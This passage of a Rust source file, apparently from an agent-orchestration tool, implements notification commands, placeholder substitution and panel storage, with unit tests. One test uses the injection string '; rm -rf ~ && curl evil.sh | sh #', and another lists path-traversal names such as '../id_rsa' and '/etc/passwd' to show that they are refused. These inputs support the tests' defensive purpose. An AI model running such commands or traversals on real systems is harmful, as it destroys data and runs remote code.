1759                // answer, so keep polling until the deadline decides.
1760                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1761            }
1762        }
1763    }
1764}
1765
1766/// Run the operator's notification command, if one is configured.
1767///
1768/// The command is argv, never a shell string, and the substitutions below are a
1769/// single pass over each argument: a summary containing `; rm -rf ~` is one
1770/// argument to one program, and a summary containing the characters `{run}` is
1771/// not re-expanded. That property is the reason agent-authored text can be put
1772/// in a notification at all.
1773///
1774/// An error here is reported, not swallowed, so `magi notify --test` can show
1775/// the operator why nothing arrives. The waiting path logs it and carries on.
1776pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1777    notify_text(cmd, &q.run, &q.summary).await
1778}
1779
1780/// [`notify`] for an event that is not a question: the same command, the same
1781/// placeholders, with `summary` and `run` supplied directly.
1782pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1783    let Some((program, args)) = cmd.command.split_first() else {
1784        // No command configured: the web UI is the only surface, by choice.
1785        return Ok(());
1786    };
1787    let url = web_url();
1788    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1789        tracing::warn!(
1790            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1791             so the link will be empty - export it next to `magi serve` with \
1792             the address `magi web --open` printed"
1793        );
1794    }
1795    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1796    tracing::debug!(program = %program, args = ?argv, "notifying");
1797
1798    let mut child = tokio::process::Command::new(program);
1799    child.quiet();
1800    child
1801        .args(&argv)
1802        .stdin(std::process::Stdio::null())
1803        // Killed if the timeout below drops this future: a notification
1804        // command left running would outlive the run it was announcing.
1805        .kill_on_drop(true);
1806    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1807        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1808        Err(_) => bail!(
1809            "notification command `{program}` did not finish within {}s",
1810            NOTIFY_TIMEOUT.as_secs()
1811        ),
1812    };
1813    if !out.status.success() {
1814        let stderr = String::from_utf8_lossy(&out.stderr);
1815        let why = stderr
1816            .lines()
1817            .rev()
1818            .find(|l| !l.trim().is_empty())
1819            .unwrap_or("no output on stderr")
1820            .trim();
1821        bail!(
1822            "notification command `{program}` exited with {}: {why}",
1823            out.status
1824        );
1825    }
1826    Ok(())
1827}
1828
1829/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1830///
1831/// One left-to-right pass, so a substituted value is never scanned for further
1832/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1833/// in a question must not make the notification recursive.
1834fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1835    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1836    let mut out = String::with_capacity(template.len());
1837    let mut rest = template;
1838    while let Some(at) = rest.find('{') {
1839        out.push_str(&rest[..at]);
1840        let tail = &rest[at..];
1841        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1842            Some((token, value)) => {
1843                out.push_str(value);
1844                rest = &tail[token.len()..];
1845            }
1846            None => {
1847                // Not a placeholder magi knows: it is the operator's own text.
1848                out.push('{');
1849                rest = &tail[1..];
1850            }
1851        }
1852    }
1853    out.push_str(rest);
1854    out
1855}
1856
1857/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1858fn web_url() -> String {
1859    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1860}
1861
1862/// Point a configured base URL at the view that can answer the question.
1863///
1864/// A notification the operator has to navigate from is a question that stays
1865/// unanswered until morning, so the questions view is appended - unless the
1866/// operator already wrote a fragment, in which case they have said where they
1867/// want to land and magi does not know better.
1868fn question_url(base: &str) -> String {
1869    let base = base.trim().trim_end_matches('/');
1870    if base.is_empty() || base.contains('#') {
1871        return base.to_owned();
1872    }
1873    format!("{base}/#/questions")
1874}
1875
1876/// Assemble a panel's contents in an already-empty directory.
1877///
1878/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1879/// first error without an early `return` skipping that cleanup.
1880fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1881    let index = dir.join(PANEL_HTML);
1882    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1883    for (name, src) in assets {
1884        let dst = dir.join(name);
1885        std::fs::copy(src, &dst)
1886            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1887    }
1888    Ok(())
1889}
1890
1891/// Remove a directory and everything under it, treating "not there" as done.
1892///
1893/// A panel is replaced wholesale and dropped idempotently, and in both cases
1894/// the absence of the directory is the desired end state, not an error.
1895fn clear_dir(path: &Path) -> Result<()> {
1896    match std::fs::remove_dir_all(path) {
1897        Ok(()) => Ok(()),
1898        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1899        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1900    }
1901}
1902
1903fn read_path(path: &Path) -> Result<Question> {
1904    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1905    let q: Question =
1906        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1907    if q.schema > SCHEMA {
1908        // Strictly newer, not merely different: every field added since
1909        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1910        // here as "no thread yet" rather than as garbage. Only a schema this
1911        // build has never heard of is refused.
1912        bail!(
1913            "question {} was written by a newer magi (schema {}, this build \
1914             only speaks up to {SCHEMA})",
1915            q.id,
1916            q.schema
1917        );
1918    }
1919    Ok(q)
1920}
1921
1922/// [`short`] for callers outside this module (a run id shortens the same way).
1923pub fn short_id(id: &str) -> &str {
1924    short(id)
1925}
1926
1927fn short(id: &str) -> &str {
1928    id.split('-').next_back().unwrap_or(id)
1929}
1930
1931fn new_id() -> String {
1932    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1933    let seed = crate::rng::entropy();
1934    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1935}
1936
1937#[cfg(test)]
1938mod tests {
1939    use super::*;
1940
1941    /// A store of its own, with no process-global state - which is the point of
1942    /// `Questions::at`, and why these can run in parallel.
1943    fn store() -> (tempfile::TempDir, Questions) {
1944        let dir = tempfile::tempdir().unwrap();
1945        let s = Questions::at(dir.path().join("questions"));
1946        (dir, s)
1947    }
1948
1949    #[test]
1950    fn run_names_task_only_for_task_questions() {
1951        for (node, want) in [
1952            (crate::conduct::NODE, true),
1953            (crate::triage::NODE, true),
1954            (crate::triage::DEPS_NODE, true),
1955            (crate::land::APPROVAL_NODE, false),
1956            (crate::bump::NOTICE_NODE, false),
1957            ("implement", false),
1958        ] {
1959            let mut q = choice_question();
1960            q.node = node.to_owned();
1961            assert_eq!(q.run_names_task(), want, "{node}");
1962        }
1963    }
1964
1965    #[test]
1966    fn deleting_a_run_stops_its_questions_asking() {
1967        let (_dir, store) = store();
1968
1969        let mut open_one = choice_question();
1970        store.put(&mut open_one).unwrap();
1971        let mut answered = free_question();
1972        answered
1973            .answer(Answer::Text("keep this".to_owned()))
1974            .unwrap();
1975        store.put(&mut answered).unwrap();
1976        let mut elsewhere = choice_question();
1977        elsewhere.run = "20260903-105039-3cbf".to_owned();
1978        store.put(&mut elsewhere).unwrap();
1979
1980        let n = store
1981            .abandon_for_run(&open_one.run, "run was deleted")
1982            .unwrap();
1983        assert_eq!(n, 1, "only the open question of that run");
1984
1985        let back = store.get(&open_one.id).unwrap();
1986        assert!(!back.status.open(), "it no longer asks for a decision");
1987        assert!(
1988            back.detail.contains("run was deleted"),
1989            "the operator can see why: {}",
1990            back.detail
1991        );
1992
1993        let kept = store.get(&answered.id).unwrap();
1994        assert_eq!(
1995            kept.status,
1996            QuestionStatus::Answered,
1997            "an answered question is a decision on record, not something to revoke"
1998        );
1999        assert!(
2000            store.get(&elsewhere.id).unwrap().status.open(),
2001            "another run's question is untouched"
2002        );
2003        assert!(store.open_for(&open_one.run).is_empty());
2004    }
2005
2006    #[test]
2007    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2008        let (_dir, store) = store();
2009        let mut q = choice_question();
2010        store.put(&mut q).unwrap();
2011
2012        // `Blocked` can still be resumed - leave it exactly as it was.
2013        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2014        assert_eq!(n, 0);
2015        assert!(store.get(&q.id).unwrap().status.open());
2016
2017        // `Failed` is not - abandon it, with the run and its fate in the
2018        // reason so the owner can tell what happened without a run to read.
2019        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2020        assert_eq!(n, 1);
2021        let back = store.get(&q.id).unwrap();
2022        assert!(!back.status.open());
2023        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2024
2025        // A second call against the same, now-settled run finds nothing left.
2026        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2027    }
2028
2029    fn choice_question() -> Question {
2030        Question::new(
2031            "20260902-201256-9fb7".to_owned(),
2032            "implement".to_owned(),
2033            "impl-A".to_owned(),
2034            "Which storage backend should the cache use?".to_owned(),
2035            "Both are already dependencies.".to_owned(),
2036            vec!["SQLite".to_owned(), "Redis".to_owned()],
2037        )
2038    }
2039
2040    fn free_question() -> Question {
2041        Question::new(
2042            "20260902-201256-9fb7".to_owned(),
2043            "review".to_owned(),
2044            "rev-1".to_owned(),
2045            "What should the error message say?".to_owned(),
2046            String::new(),
2047            Vec::new(),
2048        )
2049    }
2050
2051    /// No notification, which is the default and what most of these want.
2052    fn quiet() -> config::Notify {
2053        config::Notify::default()
2054    }
2055
2056    #[test]
2057    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2058        // The front end parses these names by hand; there is no shared schema
2059        // and no compiler between the two. A rename here is a UI that shows an
2060        // empty card and reports no error, so the names are asserted literally.
2061        let mut q = choice_question();
2062        q.id = "20260902-231501-ab12".to_owned();
2063        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2064        // `serde_json::Value` holds an object's keys sorted, and key order
2065        // means nothing to a JSON reader anyway: the field *set* is what the
2066        // front end was written against, so that is what is pinned here.
2067        let keys: Vec<&str> = open
2068            .as_object()
2069            .unwrap()
2070            .keys()
2071            .map(String::as_str)
2072            .collect();
2073        assert_eq!(
2074            keys,
2075            [
2076                "actions",
2077                "answer",
2078                "answer_delivered",
2079                "answer_timeout",
2080                "answered_at",
2081                "asked_at",
2082                "assets",
2083                "choices",
2084                "consult",
2085                "cwd",
2086                "delivered_turns",
2087                "deputy",
2088                "detail",
2089                "id",
2090                "node",
2091                "panel",
2092                "run",
2093                "schema",
2094                "seat",
2095                "status",
2096                "summary",
2097                "thread",
2098                "waiter",
2099            ],
2100            "the on-disk field set is a contract with the front end"
2101        );
2102        assert_eq!(open["schema"], 9);
2103        assert_eq!(open["thread"], serde_json::json!([]));
2104        assert_eq!(open["id"], "20260902-231501-ab12");
2105        assert_eq!(open["run"], "20260902-201256-9fb7");
2106        assert_eq!(open["node"], "implement");
2107        assert_eq!(open["seat"], "impl-A");
2108        assert_eq!(open["status"], "open");
2109        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2110        assert_eq!(open["answered_at"], serde_json::Value::Null);
2111        assert_eq!(open["answer"], serde_json::Value::Null);
2112        let asked = open["asked_at"].as_str().unwrap();
2113        assert!(
2114            asked.ends_with('Z') && asked.contains('T'),
2115            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2116        );
2117
2118        // A chosen option, exactly as the contract spells it.
2119        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2120        let answered = serde_json::to_value(&q).unwrap();
2121        assert_eq!(answered["status"], "answered");
2122        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2123        assert!(answered["answered_at"].is_string());
2124
2125        // And free text, which is the other of the two forms.
2126        let mut free = free_question();
2127        free.answer(Answer::Text("Say which file it was".to_owned()))
2128            .unwrap();
2129        assert_eq!(
2130            serde_json::to_value(&free).unwrap()["answer"],
2131            serde_json::json!({"text": "Say which file it was"})
2132        );
2133
2134        // And it survives the round trip a reader actually performs.
2135        let body = serde_json::to_string(&q).unwrap();
2136        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2137    }
2138
2139    #[test]
2140    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2141        // Four different mistakes, four different fixes: the web handler shows
2142        // these strings to the person who made them.
2143        let mut unoffered = choice_question();
2144        let a = unoffered
2145            .answer(Answer::Choice("Postgres".to_owned()))
2146            .unwrap_err()
2147            .to_string();
2148
2149        let mut typed = choice_question();
2150        let b = typed
2151            .answer(Answer::Text("use Postgres".to_owned()))
2152            .unwrap_err()
2153            .to_string();
2154
2155        let mut blank = free_question();
2156        let c = blank
2157            .answer(Answer::Text("   \n".to_owned()))
2158            .unwrap_err()
2159            .to_string();
2160
2161        let mut twice = choice_question();
2162        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2163        let d = twice
2164            .answer(Answer::Choice("Redis".to_owned()))
2165            .unwrap_err()
2166            .to_string();
2167
2168        assert!(a.contains("not one of the choices"), "{a}");
2169        assert!(b.contains("multiple choice"), "{b}");
2170        assert!(c.contains("empty"), "{c}");
2171        assert!(d.contains("already answered"), "{d}");
2172        let mut distinct = vec![a, b, c, d];
2173        let asked = distinct.len();
2174        distinct.sort_unstable();
2175        distinct.dedup();
2176        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2177
2178        // The refused ones are still open, so the owner can answer properly.
2179        assert_eq!(unoffered.status, QuestionStatus::Open);
2180        assert_eq!(typed.status, QuestionStatus::Open);
2181        assert_eq!(blank.status, QuestionStatus::Open);
2182        // And the first answer to the double-answered one survived.
2183        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2184
2185        // Free text refuses a fabricated choice for the mirror-image reason.
2186        let mut free = free_question();
2187        let e = free
2188            .answer(Answer::Choice("SQLite".to_owned()))
2189            .unwrap_err()
2190            .to_string();
2191        assert!(e.contains("free text"), "{e}");
2192    }
2193
2194    #[test]
2195    fn open_questions_are_listed_before_answered_ones() {
2196        let (_dir, s) = store();
2197        // Ids carry a timestamp, so force a known order: the answered one is
2198        // the newest, and must still sort below the open ones.
2199        let mut old_open = choice_question();
2200        old_open.id = "20260101-000001-aaaa".to_owned();
2201        let mut new_open = choice_question();
2202        new_open.id = "20260101-000002-bbbb".to_owned();
2203        let mut answered = choice_question();
2204        answered.id = "20260101-000003-cccc".to_owned();
2205        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2206        for q in [&mut old_open, &mut new_open, &mut answered] {
2207            s.put(q).unwrap();
2208        }
2209
2210        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2211        assert_eq!(
2212            ids,
2213            [
2214                "20260101-000002-bbbb",
2215                "20260101-000001-aaaa",
2216                "20260101-000003-cccc"
2217            ],
2218            "what has stopped work comes first; history sorts underneath"
2219        );
2220        assert_eq!(s.count_open(), 2);
2221        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2222        assert!(s.open_for("some-other-run").is_empty());
2223        // The short id is what the phone and the reports show.
2224        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2225        assert!(s.get("20260101-000002-bbbb").is_ok());
2226        assert!(s.resolve_id("nope").is_err());
2227        assert!(
2228            s.revision() > 0,
2229            "the store's mtime drives the phone's polling"
2230        );
2231    }
2232
2233    #[test]
2234    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2235        let (_dir, s) = store();
2236        let mut good = choice_question();
2237        s.put(&mut good).unwrap();
2238        // Truncated by a killed writer, and written by a magi from the future.
2239        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2240        let future = serde_json::json!({
2241            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2242            "seat": "s", "summary": "?", "detail": "", "choices": [],
2243            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2244            "answered_at": null, "answer": null,
2245        });
2246        std::fs::write(
2247            s.path_of("20260101-000010-beef"),
2248            serde_json::to_string(&future).unwrap(),
2249        )
2250        .unwrap();
2251
2252        let listed = s.list();
2253        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2254        assert_eq!(listed[0].id, good.id);
2255        // Asked for by name, the unreadable one explains itself instead.
2256        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2257        assert!(e.contains("schema"), "{e}");
2258    }
2259
2260    #[tokio::test]
2261    async fn the_wait_returns_the_answer_another_process_wrote() {
2262        // The phone, `magi answer` and this run are three processes with no
2263        // channel between them: the file is the channel, so the wait has to see
2264        // a write it did not make. Sub-second timings keep this a real wait
2265        // without a real one's duration.
2266        let (dir, s) = store();
2267        let mut q = choice_question();
2268        let id = q.id.clone();
2269        let writer = Questions::at(dir.path().join("questions"));
2270        let handle = tokio::spawn(async move {
2271            tokio::time::sleep(Duration::from_millis(30)).await;
2272            let mut fresh = writer.get(&id).expect("the question was filed first");
2273            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2274            writer.put(&mut fresh).unwrap();
2275        });
2276
2277        let got = wait_for_owner(
2278            &mut q,
2279            &s,
2280            &quiet(),
2281            Duration::from_secs(5),
2282            Duration::from_millis(10),
2283        )
2284        .await
2285        .unwrap();
2286
2287        handle.await.unwrap();
2288        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2289        assert_eq!(
2290            q.status,
2291            QuestionStatus::Answered,
2292            "the caller's copy is refreshed from the answering process's record"
2293        );
2294        assert!(q.answered_at.is_some());
2295    }
2296
2297    #[tokio::test]
2298    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2299        let (_dir, s) = store();
2300        let mut q = choice_question();
2301
2302        let got = wait_for_owner(
2303            &mut q,
2304            &s,
2305            &quiet(),
2306            Duration::from_millis(60),
2307            Duration::from_millis(10),
2308        )
2309        .await
2310        .unwrap();
2311
2312        assert_eq!(
2313            got,
2314            Wait::Abandoned,
2315            "a slow human is not an error; the run parks"
2316        );
2317        assert_eq!(q.status, QuestionStatus::Abandoned);
2318        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2319        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2320        assert!(
2321            on_disk.detail.contains("Abandoned:"),
2322            "why nobody answered belongs with the question: {}",
2323            on_disk.detail
2324        );
2325        assert!(on_disk.resolution().is_none());
2326        assert_eq!(s.count_open(), 0);
2327    }
2328
2329    #[tokio::test]
2330    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2331        // This is the whole point of slicing: `timeout` (the real
2332        // `answer_timeout` budget) is far larger than `slice`, so the loop
2333        // must land on `slice` first and hand back `Pending` - not read the
2334        // silence so far as the owner having given up.
2335        let (_dir, s) = store();
2336        let mut q = choice_question();
2337        s.put(&mut q).unwrap();
2338
2339        let got = wait_loop(
2340            &mut q,
2341            &s,
2342            Duration::from_secs(3600),
2343            Duration::from_millis(30),
2344            Duration::from_millis(10),
2345        )
2346        .await
2347        .unwrap();
2348
2349        assert_eq!(
2350            got,
2351            Wait::Pending,
2352            "the clock on this call ran out, not the owner's patience"
2353        );
2354        assert_eq!(
2355            q.status,
2356            QuestionStatus::Open,
2357            "a slice expiring must never abandon the question"
2358        );
2359        let on_disk = s.get(&q.id).expect("still on disk, still open");
2360        assert_eq!(
2361            on_disk.status,
2362            QuestionStatus::Open,
2363            "nothing about the record changed just because this call gave up"
2364        );
2365    }
2366
2367    #[tokio::test]
2368    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2369        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2370        // and returns `Pending`, a second slice - a fresh call, exactly as a
2371        // fresh process would make - picks the same question back up and
2372        // sees an answer written in between.
2373        let (dir, s) = store();
2374        let mut q = choice_question();
2375        s.put(&mut q).unwrap();
2376
2377        let first = wait_loop(
2378            &mut q,
2379            &s,
2380            Duration::from_secs(3600),
2381            Duration::from_millis(30),
2382            Duration::from_millis(10),
2383        )
2384        .await
2385        .unwrap();
2386        assert_eq!(first, Wait::Pending);
2387
2388        let id = q.id.clone();
2389        let writer = Questions::at(dir.path().join("questions"));
2390        let mut fresh = writer.get(&id).unwrap();
2391        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2392        writer.put(&mut fresh).unwrap();
2393
2394        // `resume_wait` uses its own production poll interval rather than a
2395        // test-injected one, so the budget here only needs to be large enough
2396        // to cover one real poll tick - the point is that it is `resume_wait`
2397        // itself, not a helper, that finds the answer.
2398        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2399            .await
2400            .unwrap();
2401        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2402        assert_eq!(q.status, QuestionStatus::Answered);
2403    }
2404
2405    #[tokio::test]
2406    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2407        // The owner can speak back while nothing is running at all - between
2408        // one call reporting `Wait::Pending` and the next `--wait` picking
2409        // the question back up - and whoever resumes the wait loads a
2410        // *fresh* copy of the question off disk, one whose thread already
2411        // contains that reply. A baseline taken from that fresh copy would
2412        // treat the reply as pre-existing and never notice it "arrive",
2413        // leaving the agent polling in silence until `answer_timeout`
2414        // eventually abandons the question - replacing the exact accident
2415        // this feature exists to fix with a quieter version of itself.
2416        let (dir, s) = store();
2417        let mut q = choice_question();
2418        s.put(&mut q).unwrap();
2419
2420        let first = wait_loop(
2421            &mut q,
2422            &s,
2423            Duration::from_secs(3600),
2424            Duration::from_millis(30),
2425            Duration::from_millis(10),
2426        )
2427        .await
2428        .unwrap();
2429        assert_eq!(first, Wait::Pending);
2430
2431        // The owner speaks back during the gap, with nobody running yet.
2432        let id = q.id.clone();
2433        let writer = Questions::at(dir.path().join("questions"));
2434        let mut fresh = writer.get(&id).unwrap();
2435        fresh.say("why not Postgres?").unwrap();
2436        writer.put(&mut fresh).unwrap();
2437
2438        // `magi ask --wait` re-reads the question rather than reusing the
2439        // stale in-memory copy the earlier call held - so the copy handed to
2440        // `resume_wait` here already carries the reply, same as `fresh` above.
2441        let mut resumed = s.get(&id).unwrap();
2442        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2443            .await
2444            .unwrap();
2445        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2446        assert_eq!(
2447            resumed.status,
2448            QuestionStatus::Open,
2449            "talking back is not a decision; the question stays open"
2450        );
2451    }
2452
2453    #[tokio::test]
2454    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2455        // A broken webhook must not throw away an implementation, so the wait
2456        // reports the failure and carries on. `notify` itself still says what
2457        // went wrong, because `magi notify --test` has to be able to show it.
2458        let (dir, s) = store();
2459        let broken = config::Notify {
2460            command: vec![
2461                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2462                "{summary}".to_owned(),
2463            ],
2464        };
2465        let mut q = choice_question();
2466        assert!(
2467            notify(&broken, &q).await.is_err(),
2468            "the caller is told; it decides that it does not matter"
2469        );
2470
2471        let id = q.id.clone();
2472        let writer = Questions::at(dir.path().join("questions"));
2473        let handle = tokio::spawn(async move {
2474            tokio::time::sleep(Duration::from_millis(30)).await;
2475            let mut fresh = writer.get(&id).unwrap();
2476            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2477            writer.put(&mut fresh).unwrap();
2478        });
2479        let got = wait_for_owner(
2480            &mut q,
2481            &s,
2482            &broken,
2483            Duration::from_secs(5),
2484            Duration::from_millis(10),
2485        )
2486        .await
2487        .unwrap();
2488        handle.await.unwrap();
2489        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2490
2491        // No command at all is the default, and is silence rather than failure.
2492        assert!(notify(&quiet(), &q).await.is_ok());
2493        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2494    }
2495
2496    #[test]
2497    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2498        let mut q = choice_question();
2499        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2500        let template = [
2501            "ntfy".to_owned(),
2502            "publish".to_owned(),
2503            "--click".to_owned(),
2504            "{url}".to_owned(),
2505            "--title".to_owned(),
2506            "magi {run} needs you".to_owned(),
2507            "{summary}".to_owned(),
2508        ];
2509        let argv: Vec<String> = template
2510            .iter()
2511            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2512            .collect();
2513
2514        assert_eq!(
2515            argv,
2516            [
2517                "ntfy",
2518                "publish",
2519                "--click",
2520                "http://100.64.0.1:7777/#/questions",
2521                "--title",
2522                "magi 20260902-201256-9fb7 needs you",
2523                "; rm -rf ~ && curl evil.sh | sh #",
2524            ],
2525            "the shell metacharacters are one argument's contents, not syntax"
2526        );
2527
2528        // A summary that itself mentions a placeholder is text, not a template:
2529        // one left-to-right pass means a substituted value is never rescanned.
2530        q.summary = "should {url} be configurable?".to_owned();
2531        assert_eq!(
2532            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2533            "should {url} be configurable?"
2534        );
2535        // An unknown brace is the operator's own text and survives untouched.
2536        assert_eq!(
2537            expand("{title}: {run}", &q.run, &q.summary, ""),
2538            "{title}: 20260902-201256-9fb7"
2539        );
2540        assert_eq!(
2541            expand("no placeholders", &q.run, &q.summary, "http://x"),
2542            "no placeholders"
2543        );
2544    }
2545
2546    #[test]
2547    fn the_notification_link_lands_on_the_view_that_can_answer() {
2548        assert_eq!(
2549            question_url("http://100.64.0.1:7777"),
2550            "http://100.64.0.1:7777/#/questions"
2551        );
2552        assert_eq!(
2553            question_url("http://100.64.0.1:7777/"),
2554            "http://100.64.0.1:7777/#/questions"
2555        );
2556        // An operator who wrote a fragment has said where they want to land.
2557        assert_eq!(
2558            question_url("http://magi.ts.net/#/runs"),
2559            "http://magi.ts.net/#/runs"
2560        );
2561        // Unset expands to nothing rather than to a guessed address.
2562        assert_eq!(question_url("  "), "");
2563    }
2564
2565    /// A question with a fixed id, so a panel's path on disk is predictable.
2566    fn panelled() -> Question {
2567        let mut q = choice_question();
2568        q.id = "20260903-014455-ab12".to_owned();
2569        q
2570    }
2571
2572    #[test]
2573    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2574        let (dir, s) = store();
2575        let work = dir.path().join("worktree");
2576        std::fs::create_dir_all(&work).unwrap();
2577        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2578        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2579
2580        let mut q = panelled();
2581        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2582        s.put_panel(
2583            &mut q,
2584            html,
2585            &[work.join("table.png"), work.join("diff.svg")],
2586        )
2587        .unwrap();
2588        s.put(&mut q).unwrap();
2589
2590        assert!(q.panel);
2591        assert_eq!(
2592            q.assets,
2593            ["diff.svg", "table.png"],
2594            "sorted, not in the order the agent happened to pass them"
2595        );
2596        assert_eq!(
2597            s.panel_html(&q.id).as_deref(),
2598            Some(html),
2599            "the html is stored byte for byte; the agent authored the markup"
2600        );
2601        assert_eq!(
2602            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2603            Some(&b"<svg/>"[..])
2604        );
2605
2606        // The record on disk carries the same two fields the front end reads.
2607        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2608        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2609        assert_eq!(json["panel"], true);
2610        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2611        let back = s.get(&q.id).unwrap();
2612        assert!(back.panel);
2613        assert_eq!(back.assets, q.assets);
2614
2615        // The assets were copied, so the panel still renders after `magi fold`
2616        // has deleted the candidate worktree the agent authored it in.
2617        std::fs::remove_dir_all(&work).unwrap();
2618        assert_eq!(
2619            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2620            Some(&b"\x89PNG"[..]),
2621            "a referenced asset would be gone with the worktree"
2622        );
2623    }
2624
2625    #[test]
2626    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2627        let (dir, s) = store();
2628        let mut q = panelled();
2629        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2630        s.put(&mut q).unwrap();
2631
2632        // A file exactly one level up from the panel directory - which is
2633        // where `..` lands - holding content a read would make visible.
2634        let secret = "this must never reach the browser";
2635        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2636        assert_eq!(
2637            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2638            secret,
2639            "the traversal is real: the operating system resolves this path \
2640             happily, which is why the name has to be refused before the join"
2641        );
2642
2643        let long = "x".repeat(200);
2644        for name in [
2645            "..",
2646            "../id_rsa",
2647            "..\\id_rsa",
2648            "sub/../id_rsa",
2649            "/",
2650            "\\",
2651            "/etc/passwd",
2652            "C:\\Windows\\win.ini",
2653            "",
2654            ".hidden",
2655            ".",
2656            long.as_str(),
2657        ] {
2658            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2659            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2660            assert!(
2661                e.contains("not a panel file name"),
2662                "`{name}` must be refused as a name, not attempted: {e}"
2663            );
2664            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2665        }
2666        // A name that is allowed still finds its file, so the refusals above
2667        // were the rule at work and not a store that reads nothing.
2668        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2669
2670        // The same rule on the write side, where the name comes from a source
2671        // file's base name, and a refusal leaves the stored panel untouched.
2672        let hidden = dir.path().join(".hidden");
2673        std::fs::write(&hidden, "x").unwrap();
2674        let e = s
2675            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2676            .unwrap_err()
2677            .to_string();
2678        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
